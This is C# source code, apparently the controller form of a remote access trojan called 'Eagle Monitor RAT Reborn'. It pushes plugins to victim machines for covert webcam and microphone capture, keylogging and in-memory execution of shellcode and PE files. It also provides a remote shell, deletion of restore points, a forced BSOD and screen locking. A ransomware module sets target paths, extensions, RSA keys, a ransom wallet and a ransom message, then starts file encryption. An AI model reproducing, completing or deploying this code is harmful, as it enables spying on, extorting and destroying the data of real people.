RemoteCameraCapturePacket(PacketType.RC_CAPTURE_ON) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteCamera.dll"), 1), timeMS = 1, index = camerasGuna2ComboBox.SelectedIndex, quality = qualityGuna2TrackBar.Value, BaseIp = this.ClientHandler.IP }; ClientHandler.StartSendData(this.ClientHandler, remoteCameraCapturePacket); } } else { if (ClientHandler != null && camerasGuna2ComboBox.Items.Count > 0) { remoteCameraCapturePacket = new RemoteCameraCapturePacket(PacketType.RC_CAPTURE_OFF) { BaseIp = this.ClientHandler.IP, HWID = this.ClientHandler.HWID }; ClientHandler.StartSendData(this.RemoteWebCamHandler.ClientHandler, remoteCameraCapturePacket); } } } private void saveWebCamToolStripMenuItem_Click(object sender, EventArgs e) { if (this.remoteWebCamPictureBox.Image != null) { string Date = DateTime.UtcNow.DayOfYear.ToString() + DateTime.UtcNow.Hour.ToString() + DateTime.UtcNow.Minute.ToString() + DateTime.UtcNow.Second.ToString() + DateTime.UtcNow.Millisecond.ToString(); File.WriteAllBytes(this.ClientHandler.ClientPath + "\\" + "Camera\\" + Date + "." + "png", PacketLib.Utils.ImageProcessing.ImageToBytes(this.remoteWebCamPictureBox.Image)); } } #endregion #region "Remote Audio" private void SetLocalAudioDevices() { for (int i = 0; i < WaveOut.DeviceCount; i++) { WaveOutCapabilities deviceInfo = WaveOut.GetCapabilities(i); currentMachineDevicesGuna2ComboBox.Items.Add(deviceInfo.ProductName); } currentMachineDevicesGuna2ComboBox.SelectedIndex = 0; } private void remoteMicrophoneGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e) { RemoteAudioCapturePacket remoteAudioCapturePacket; if (remoteMicrophoneGuna2ToggleSwitch.Checked) { if (audioDevicesGuna2ComboBox.Items.Count > 0) { this.RemoteMicrophoneHandler = new RemoteMicrophoneHandler { HasAlreadyConnected = false }; this.RemoteMicrophoneHandler.WaveOut.DeviceNumber = currentMachineDevicesGuna2ComboBox.SelectedIndex; this.RemoteMicrophoneHandler.WaveOut.Init(this.RemoteMicrophoneHandler.BufferedWaveProvider); this.RemoteMicrophoneHandler.WaveOut.Play(); remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_ON) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\AudioRecording.dll"), 1), index = audioDevicesGuna2ComboBox.SelectedIndex, BaseIp = this.ClientHandler.IP }; ClientHandler.StartSendData(this.ClientHandler, remoteAudioCapturePacket); } } else { if (ClientHandler != null) { remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_OFF) { BaseIp = this.ClientHandler.IP, HWID = this.ClientHandler.HWID }; ClientHandler.StartSendData(this.RemoteMicrophoneHandler.ClientHandler, remoteAudioCapturePacket); } } } private void getMicrophonesToolStripMenuItem_Click(object sender, EventArgs e) { RemoteAudioPacket remoteAudioPacket = new RemoteAudioPacket { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\AudioRecording.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, remoteAudioPacket); } #endregion #region "Remote Execution" #region "DotNet" private void sendDotNetGuna2Button_Click(object sender, EventArgs e) { RemoteCodeExecution remoteCodeExecution = null; List reference = new List(); foreach (DataGridViewRow row in this.importLibDataGridView.Rows) { reference.Add(row.Cells["Column31"].Value.ToString()); } switch (languageComboBox.Text) { case "C#": remoteCodeExecution = new RemoteCodeExecution ( PacketType.MEM_EXEC_CSHARP_CODE, $"/target:winexe /platform:{platformGuna2ComboBox.Text} /optimize- /unsafe", codeTextBox.Text, reference ); break; case "VB": remoteCodeExecution = new RemoteCodeExecution( PacketType.MEM_EXEC_VB_CODE, $"/target:winexe /platform:{platformGuna2ComboBox.Text} /optimize- /unsafe", codeTextBox.Text, reference ); break; } if (remoteCodeExecution != null) remoteCodeExecution.Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1); ClientHandler.StartSendData(this.ClientHandler, remoteCodeExecution); } private void testDotNetGuna2Button_Click(object sender, EventArgs e) { List reference = new List(); foreach (DataGridViewRow row in this.importLibDataGridView.Rows) { reference.Add(row.Cells["Column31"].Value.ToString()); } switch (languageComboBox.Text) { case "C#": { Misc.DotNetCodeExecution.TryLocally(new CSharpCodeProvider(new Dictionary() { { "CompilerVersion", "v4.0" } }), codeTextBox.Text, platformGuna2ComboBox.Text, string.Join(",", reference).Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries)); break; } case "VB": { Misc.DotNetCodeExecution.TryLocally(new VBCodeProvider(new Dictionary() { { "CompilerVersion", "v4.0" } }), codeTextBox.Text, platformGuna2ComboBox.Text, string.Join(",", reference).Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries)); break; } } } private void languageComboBox_SelectedIndexChanged(object sender, EventArgs e) { if (languageComboBox.SelectedIndex == 0) { codeTextBox.Language = Language.CSharp; codeTextBox.Text = codeTextBox.Text = Misc.DotNetCodeExecution.GetCode(Language.CSharp); } else { codeTextBox.Language = Language.VB; codeTextBox.Text = Misc.DotNetCodeExecution.GetCode(Language.VB); } } private void addImportLibContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e) { string newReference = Interaction.InputBox("Add reference"); if (!newReference.EndsWith(".dll")) newReference += ".dll"; Misc.DotNetCodeExecution.RowAdder(newReference, this.importLibDataGridView); } private void removeImportLibContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow row in this.importLibDataGridView.SelectedRows) { this.importLibDataGridView.Rows.RemoveAt(row.Index); } } private void importLibDataGridView_MouseUp(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { DataGridView.HitTestInfo hit = importLibDataGridView.HitTest(e.X, e.Y); if (hit.Type == DataGridViewHitTestType.None) { importLibDataGridView.ClearSelection(); importLibDataGridView.CurrentCell = null; } } } #endregion #region "Shellcode" private void shellcodeDataGridView_MouseUp(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { DataGridView.HitTestInfo hit = shellcodeDataGridView.HitTest(e.X, e.Y); if (hit.Type == DataGridViewHitTestType.None) { shellcodeDataGridView.ClearSelection(); shellcodeDataGridView.CurrentCell = null; } } } private void shellcodeDataGridView_DragEnter(object sender, DragEventArgs e) { e.Effect = DragDropEffects.Move; } private void shellcodeDataGridView_DragDrop(object sender, DragEventArgs e) { string[] files = (string[])e.Data.GetData(DataFormats.FileDrop); foreach (string file in files) { int rowId = this.shellcodeDataGridView.Rows.Add(); DataGridViewRow row = this.shellcodeDataGridView.Rows[rowId]; row.Cells["Column32"].Value = file; } } private void addShellCodeContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e) { using (OpenFileDialog openFileDialog = new OpenFileDialog()) { if (openFileDialog.ShowDialog() == DialogResult.OK) { foreach (string shellPath in openFileDialog.FileNames) { int rowId = this.shellcodeDataGridView.Rows.Add(); DataGridViewRow row = this.shellcodeDataGridView.Rows[rowId]; row.Cells["Column32"].Value = shellPath; } } } } private void removeShellCodeContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow shellcode in shellcodeDataGridView.SelectedRows) { shellcodeDataGridView.Rows.RemoveAt(shellcode.Index); } } private void sendShellcodeToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow shellcode in shellcodeDataGridView.SelectedRows) { MemoryExecutionPacket memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_SHELLCODE, Compressor.QuickLZ.Compress(File.ReadAllBytes(shellcode.Cells[0].Value.ToString()), 1)) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket); } } #endregion #region "PE" private void nativePEDataGridView_MouseUp(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { DataGridView.HitTestInfo hit = nativePEDataGridView.HitTest(e.X, e.Y); if (hit.Type == DataGridViewHitTestType.None) { nativePEDataGridView.ClearSelection(); nativePEDataGridView.CurrentCell = null; } } } private void nativePEDataGridView_DragEnter(object sender, DragEventArgs e) { e.Effect = DragDropEffects.Move; } private void nativePEDataGridView_DragDrop(object sender, DragEventArgs e) { string[] files = (string[])e.Data.GetData(DataFormats.FileDrop); foreach (string file in files) { int rowId = this.nativePEDataGridView.Rows.Add(); DataGridViewRow row = this.nativePEDataGridView.Rows[rowId]; row.Cells["Column35"].Value = file; } } private void addNativePEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e) { using (OpenFileDialog openFileDialog = new OpenFileDialog()) { if (openFileDialog.ShowDialog() == DialogResult.OK) { foreach (string nativePath in openFileDialog.FileNames) { int rowId = this.nativePEDataGridView.Rows.Add(); DataGridViewRow row = this.nativePEDataGridView.Rows[rowId]; row.Cells["Column35"].Value = nativePath; } } } } private void removeNativePEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow nativePE in nativePEDataGridView.SelectedRows) { nativePEDataGridView.Rows.RemoveAt(nativePE.Index); } } private void sendNativePEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e) { MemoryExecutionPacket memoryExecutionPacket; foreach (DataGridViewRow nativePE in nativePEDataGridView.SelectedRows) { if (nativePE.Cells[0].Value.ToString().EndsWith(".dll")) { memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_NATIVE_DLL, Compressor.QuickLZ.Compress(File.ReadAllBytes(nativePE.Cells[0].Value.ToString()), 1)) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket); } else { memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_NATIVE_PE, Compressor.QuickLZ.Compress(File.ReadAllBytes(nativePE.Cells[0].Value.ToString()), 1)) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket); } } } #endregion #region "Managed PE" private void managedPEDataGridView_MouseUp(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { DataGridView.HitTestInfo hit = managedPEDataGridView.HitTest(e.X, e.Y); if (hit.Type == DataGridViewHitTestType.None) { managedPEDataGridView.ClearSelection(); managedPEDataGridView.CurrentCell = null; } } } private void managedPEDataGridView_DragEnter(object sender, DragEventArgs e) { e.Effect = DragDropEffects.Move; } private void managedPEDataGridView_DragDrop(object sender, DragEventArgs e) { string[] files = (string[])e.Data.GetData(DataFormats.FileDrop); foreach (string file in files) { int rowId = this.managedPEDataGridView.Rows.Add(); DataGridViewRow row = this.managedPEDataGridView.Rows[rowId]; row.Cells["Column33"].Value = file; if (file.EndsWith(".dll")) { string etp = Microsoft.VisualBasic.Interaction.InputBox("Entrypoint : (Namespace.class.function)"); row.Cells["Column34"].Value = etp; } } } private void sendManagedPEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e) { MemoryExecutionPacket memoryExecutionPacket; foreach (DataGridViewRow managedPE in managedPEDataGridView.SelectedRows) { if (managedPE.Cells[0].Value.ToString().EndsWith(".dll")) { memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_MANAGED_DLL, Compressor.QuickLZ.Compress(File.ReadAllBytes(managedPE.Cells[0].Value.ToString()), 1)) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1), managedEntryPoint = managedPE.Cells[1].Value.ToString() }; ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket); } else { memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_MANAGED_PE, Compressor.QuickLZ.Compress(File.ReadAllBytes(managedPE.Cells[0].Value.ToString()), 1)) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket); } } } private void removeManagedPEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow managedPE in managedPEDataGridView.SelectedRows) { managedPEDataGridView.Rows.RemoveAt(managedPE.Index); } } private void addManagedPEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e) { using (OpenFileDialog openFileDialog = new OpenFileDialog()) { if (openFileDialog.ShowDialog() == DialogResult.OK) { foreach (string managedPath in openFileDialog.FileNames) { int rowId = this.managedPEDataGridView.Rows.Add(); DataGridViewRow row = this.managedPEDataGridView.Rows[rowId]; row.Cells["Column33"].Value = managedPath; } } } } #endregion #endregion #region "Information" private void retrieveInformationGuna2Button_Click(object sender, EventArgs e) { InformationPacket informationPacket = new InformationPacket { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Information.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, informationPacket); } private void retrieveNetworkGuna2Button_Click(object sender, EventArgs e) { NetworkInformationPacket networkInformationPacket = new NetworkInformationPacket { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Information.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, networkInformationPacket); } #endregion #region "Keylogger" private void keyloggerGuna2Button_Click(object sender, EventArgs e) { KeylogPacket keylogPacket; if (this.keyloggerGuna2Button.Text == "Start") { this.KeyloggerHandler = new KeyloggerHandler(); keylogPacket = new KeylogPacket { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Keylogger.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, keylogPacket); this.keyloggerGuna2Button.Text = "Stop"; } else { keylogPacket = new KeylogPacket(this.ClientHandler.IP, this.ClientHandler.HWID) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Keylogger.dll"), 1) }; ClientHandler.StartSendData(this.KeyloggerHandler.ClientHandler, keylogPacket); this.keyloggerGuna2Button.Text = "Start"; File.WriteAllText(this.ClientHandler.ClientPath + "\\Keystrokes\\" + Misc.Utils.DateFormater() + ".txt", keystrokeRichTextBox.Text); } } #endregion #region "Chat" private void chatGuna2Button_Click(object sender, EventArgs e) { RemoteChatPacket chatPacket; if (this.chatGuna2Button.Text == "Start") { this.ChatHandler = new ChatHandler(); chatPacket = new RemoteChatPacket(PacketType.CHAT_ON) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Chat.dll"), 1), BaseIp = this.ClientHandler.IP }; ClientHandler.StartSendData(this.ClientHandler, chatPacket); this.chatGuna2Button.Text = "Stop"; } else { chatPacket = new RemoteChatPacket(PacketType.CHAT_OFF) { BaseIp = this.ClientHandler.IP }; ClientHandler.StartSendData(this.ChatHandler.ClientHandler, chatPacket); this.chatGuna2Button.Text = "Start"; } } private void chatSendGuna2Button_Click(object sender, EventArgs e) { if (this.ChatHandler != null) { RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_ON) { msg = usernameChatGuna2TextBox.Text + ": " + messageChatGuna2TextBox.Text + "\n", BaseIp = this.ClientHandler.IP }; this.messageRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245); this.messageRichTextBox.AppendText(chatPacket.msg); ClientHandler.StartSendData(this.ChatHandler.ClientHandler, chatPacket); this.messageChatGuna2TextBox.Text = ""; } } #endregion #region "Other" #region "Hardware" private void blockKeyboardGuna2CheckBox_CheckedChanged(object sender, EventArgs e) { MiscellaneousPacket miscellaneousPacket; if (this.blockKeyboardGuna2CheckBox.Checked) { miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_KB_OFF) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } else { miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_KB_ON) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } } private void blockMouseGuna2CheckBox_CheckedChanged(object sender, EventArgs e) { MiscellaneousPacket miscellaneousPacket; if (this.blockMouseGuna2CheckBox.Checked) { miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_MS_OFF) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } else { miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_MS_ON) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } } #endregion #region "UI" private void rotateScreenGuna2Button_Click(object sender, EventArgs e) { ScreenRotationPacket screenRotationPacket = new ScreenRotationPacket(degreesGuna2ComboBox.Text) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, screenRotationPacket); } private void wallpaperGuna2Button_Click(object sender, EventArgs e) { using (OpenFileDialog ofd = new OpenFileDialog()) { if (ofd.ShowDialog() == DialogResult.OK) { string ext = new FileInfo(ofd.FileName).Extension; WallPaperPacket wallPaperPacket = new WallPaperPacket(Compressor.QuickLZ.Compress(File.ReadAllBytes(ofd.FileName), 1), ext) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, wallPaperPacket); } } } private void showTaskbarGuna2Button_Click(object sender, EventArgs e) { MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SHOW_TASKBAR) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } private void showDesktopIconsGuna2Button_Click(object sender, EventArgs e) { MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SHOW_DESKTOP_ICONS) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } private void hideTaskbarGuna2Button_Click(object sender, EventArgs e) { MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_HIDE_TASKBAR) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } private void hideDesktopIconsGuna2Button_Click(object sender, EventArgs e) { MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_HIDE_DESKTOP_ICONS) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } private void screenlockerGuna2CheckBox_CheckedChanged(object sender, EventArgs e) { MiscellaneousPacket miscellaneousPacket; if (this.screenlockerGuna2CheckBox.Checked) { miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SCREENLOCKER_ON) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ScreenLocker.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } else { miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SCREENLOCKER_OFF) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ScreenLocker.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } } #endregion #region "Audio" private void volumeUpGuna2Button_Click(object sender, EventArgs e) { MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_AUDIO_UP) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } private void volumeDownGuna2Button_Click(object sender, EventArgs e) { MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_AUDIO_DOWN) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } #endregion #region "Web" private void linkWebGuna2Button_Click(object sender, EventArgs e) { OpenUrlPacket openUrlPacket = new OpenUrlPacket(linkWebGuna2TextBox.Text) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, openUrlPacket); } #endregion #region "Power" private void setPowerGuna2Button_Click(object sender, EventArgs e) { PowerPacket powerPacket; switch (powerStateGuna2ComboBox.SelectedIndex) { case 0: powerPacket = new PowerPacket(PacketType.POWER_SHUTDOWN); break; case 1: powerPacket = new PowerPacket(PacketType.POWER_REBOOT); break; case 2: powerPacket = new PowerPacket(PacketType.POWER_LOG_OUT); break; case 3: powerPacket = new PowerPacket(PacketType.POWER_BSOD); break; case 4: powerPacket = new PowerPacket(PacketType.POWER_LOCK_WORKSTATION); break; case 5: powerPacket = new PowerPacket(PacketType.POWER_HIBERNATE); break; case 6: powerPacket = new PowerPacket(PacketType.POWER_SUSPEND); break; default: return; } powerPacket.Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\PowerManager.dll"), 1); ClientHandler.StartSendData(this.ClientHandler, powerPacket); } #endregion #endregion #region "UAC" #region "Restore Points" private void refreshRestorePointToolStripMenuItem_Click(object sender, EventArgs e) { RestorePointPacket restorePointPacket = new RestorePointPacket { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Admin.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, restorePointPacket); } private void deleteRestorePointToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow selected in this.restorePointDataGridView.SelectedRows) { DeleteRestorePointPacket deleteRestorePointPacket = new DeleteRestorePointPacket(int.Parse(selected.Cells[0].Value.ToString())) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Admin.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, deleteRestorePointPacket); } } #endregion private void askUACGuna2Button_Click(object sender, EventArgs e) { if (!this.ClientHandler.IsAdmin) { AskAdminRightsPacket askAdminRightsPacket = new AskAdminRightsPacket { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, askAdminRightsPacket); } } #endregion #region "Ransomware" private void removePathToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow pathAffected in this.pathRansomwareDataGridView.SelectedRows) { this.pathRansomwareDataGridView.Rows.RemoveAt(pathAffected.Index); } } private void addExtensionToolStripMenuItem_Click(object sender, EventArgs e) { string newExt = Interaction.InputBox("New extension (without '.') :"); int rowId = this.pathRansomwareDataGridView.Rows.Add(); DataGridViewRow row = this.pathRansomwareDataGridView.Rows[rowId]; row.Cells["Column47"].Value = newExt; } private void removeExtensionToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow pathAffected in this.pathRansomwareDataGridView.SelectedRows) { this.extensionRansomwareDataGridView.Rows.RemoveAt(pathAffected.Index); } } private void removeToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow nativePE in this.pathRansomwareDataGridView.SelectedRows) { this.pathRansomwareDataGridView.Rows.RemoveAt(nativePE.Index); } } private void generateRSAKeyGuna2Button_Click(object sender, EventArgs e) { if (File.Exists(this.ClientHandler.ClientPath + "\\Ransomware\\encryption.json")) { DialogResult r = MessageBox.Show("You are going to re-generate RSA keys pair for client, are you sure ?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning); if (r.Equals(DialogResult.Yes)) { Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject(File.ReadAllText(ClientHandler.ClientPath + "\\Ransomware\\encryption.json")); Dictionary rsaKey = Misc.Encryption.GetKey(); encryptionInformation.publicRSAServerKey = rsaKey["PublicKey"]; encryptionInformation.privateRSAServerKey = rsaKey["PrivateKey"]; string rsa = JsonConvert.SerializeObject(encryptionInformation); File.WriteAllText(this.ClientHandler.ClientPath + "\\Ransomware\\encryption.json", rsa); this.ClientHandler.EncryptionInformation = encryptionInformation; } return; } } private void startEncryptionGuna2Button_Click(object sender, EventArgs e) { List paths = new List(); foreach (DataGridViewRow row in pathRansomwareDataGridView.Rows) { paths.Add(row.Cells[0].Value.ToString()); } List extensions = new List(); foreach (DataGridViewRow ext in extensionRansomwareDataGridView.Rows) { extensions.Add(ext.Cells[0].Value.ToString()); } Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject(File.ReadAllText(ClientHandler.ClientPath + "\\Ransomware\\encryption.json")); encryptionInformation.wallet = walletGuna2TextBox.Text; encryptionInformation.msg = msgRansomwareGuna2TextBox.Text; encryptionInformation.paths = paths; encryptionInformation.extensionFile = extensions; encryptionInformation.checkExtensions = checkExtensionsGuna2CheckBox.Checked; encryptionInformation.subfolders = subDirectoriesGuna2CheckBox.Checked; string newInformation = JsonConvert.SerializeObject(encryptionInformation); File.WriteAllText(this.ClientHandler.ClientPath + "\\Ransomware\\encryption.json", newInformation); this.ClientHandler.EncryptionInformation = encryptionInformation; RansomwareEncryptionPacket ransomwareEncryptionPacket = new RansomwareEncryptionPacket(this.ClientHandler.EncryptionInformation.publicRSAServerKey, this.ClientHandler.EncryptionInformation.paths, this.ClientHandler.EncryptionInformation.subfolders, this.ClientHandler.EncryptionInformation.checkExtensions) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Ransomware.dll"), 1), msg = this.msgRansomwareGuna2TextBox.Text, wallet = this.walletGuna2TextBox.Text }; ClientHandler.StartSendData(this.ClientHandler, ransomwareEncryptionPacket); } private void startDecryptionGuna2Button_Click(object sender, EventArgs e) { RansomwareDecryptionPacket ransomwareDecryptionPacket = new RansomwareDecryptionPacket(this.ClientHandler.EncryptionInformation.privateRSAServerKey) { Plugin = PacketLib.Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Ransomware.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, ransomwareDecryptionPacket); } #endregion #region "Shell" private void remoteShellGuna2Button_Click(object sender, EventArgs e) { if (this.remoteShellGuna2Button.Text == "Start Session") { this.RemoteShellHandler = new RemoteShellHandler(); StartShellSessionPacket startShellSessionPacket = new StartShellSessionPacket(remoteShellGuna2ToggleSwitch.Checked) { BaseIp = this.ClientHandler.IP, HWID = this.ClientHandler.HWID, Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteShell.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, startShellSessionPacket); this.remoteShellGuna2Button.Text = "Stop Session"; } else { if (ClientHandler != null) { StopShellSessionPacket stopShellSessionPacket = new StopShellSessionPacket() { BaseIp = this.ClientHandler.IP, HWID = this.ClientHandler.HWID }; ClientHandler.StartSendData(this.RemoteShellHandler.ClientHandler, stopShellSessionPacket); this.remoteShellGuna2ToggleSwitch.Enabled = true; this.remoteShellGuna2TextBox.Enabled = false; } this.remoteShellGuna2Button.Text = "Start Session"; } } private void remoteShellGuna2TextBox_KeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Enter && !string.IsNullOrEmpty(this.remoteShellGuna2TextBox.Text.Trim())) { string input = this.remoteShellGuna2TextBox.Text.TrimStart(' ', ' ').TrimEnd(' ', ' '); this.remoteShellGuna2TextBox.Text = string.Empty; switch (input) { case "cls": this.remoteShellStdOutRichTextBox.Text = string.Empty; break; default: NewCommandShellSessionPacket newCommandShellSessionPacket = new NewCommandShellSessionPacket(input) { BaseIp = this.ClientHandler.IP, HWID = this.ClientHandler.HWID }; ClientHandler.StartSendData(this.RemoteShellHandler.ClientHandler, newCommandShellSessionPacket); break; } e.Handled = true; e.SuppressKeyPress = true; } } private void remoteShellStdOutRichTextBox_TextChanged(object sender, EventArgs e) { Misc.Imports.SendMessage(this.remoteShellStdOutRichTextBox.Handle, Misc.Imports.WM_VSCROLL, Misc.Imports.SB_PAGEBOTTOM, IntPtr.Zero); } #endregion private void mainGuna2TabControl_SelectedIndexChanged(object sender, EventArgs e) { switch (mainGuna2TabControl.SelectedIndex) { case 6: MessageBox.Show("This module is in beta, use it carefully !", "Eagle Monitor", MessageBoxButtons.OK, MessageBoxIcon.Warning); break; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.resx ================================================  